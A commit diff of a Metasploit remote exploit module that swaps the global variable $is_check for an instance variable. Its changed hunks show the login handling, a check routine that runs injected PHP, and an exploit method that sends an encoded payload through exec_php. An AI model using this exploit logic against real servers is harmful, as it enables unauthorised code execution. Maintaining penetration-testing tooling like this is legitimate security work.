Fix global var $is_check (make ivar @is_check)
parent
0973bfb922
commit
0e2a158abd
|
@ -60,7 +60,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
unless res && (res.code == 201 || res.code == 200) && res.body
|
||||
msg = "Login failed with #{user}:#{pass}"
|
||||
if $is_check then print_error(msg) end
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
|
@ -94,7 +94,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
unless res && res.code == 200
|
||||
msg = "Something went wrong"
|
||||
if $is_check then print_error(msg) end
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::UnexpectedReply, msg)
|
||||
end
|
||||
end
|
||||
|
@ -116,7 +116,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
else
|
||||
msg = "Failed to retrieve the login page"
|
||||
if $is_check then print_error(msg) end
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
|
@ -132,7 +132,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
unless res && res.code == 302
|
||||
msg = "Login failed with #{user}:#{pass}"
|
||||
if $is_check then print_error(msg) end
|
||||
print_error(msg) if @is_check
|
||||
fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
|
@ -157,14 +157,14 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
|
||||
if res && res.code == 200 && res.body =~ /Exiting with Error/
|
||||
msg = "No access to Artifact ID #{datastore['AID']}"
|
||||
$is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
|
||||
@is_check ? print_error(msg) : fail_with(Failure::NoAccess, msg)
|
||||
end
|
||||
|
||||
res
|
||||
end
|
||||
|
||||
def check
|
||||
$is_check = true
|
||||
@is_check = true
|
||||
flag = rand_text_alpha(rand(10)+20)
|
||||
res = exec_php("print '#{flag}';")
|
||||
|
||||
|
@ -178,7 +178,7 @@ class MetasploitModule < Msf::Exploit::Remote
|
|||
end
|
||||
|
||||
def exploit
|
||||
$is_check = false
|
||||
@is_check = false
|
||||
exec_php(payload.encoded)
|
||||
end
|
||||
end
|
||||
|
|
Loading…
Reference in New Issue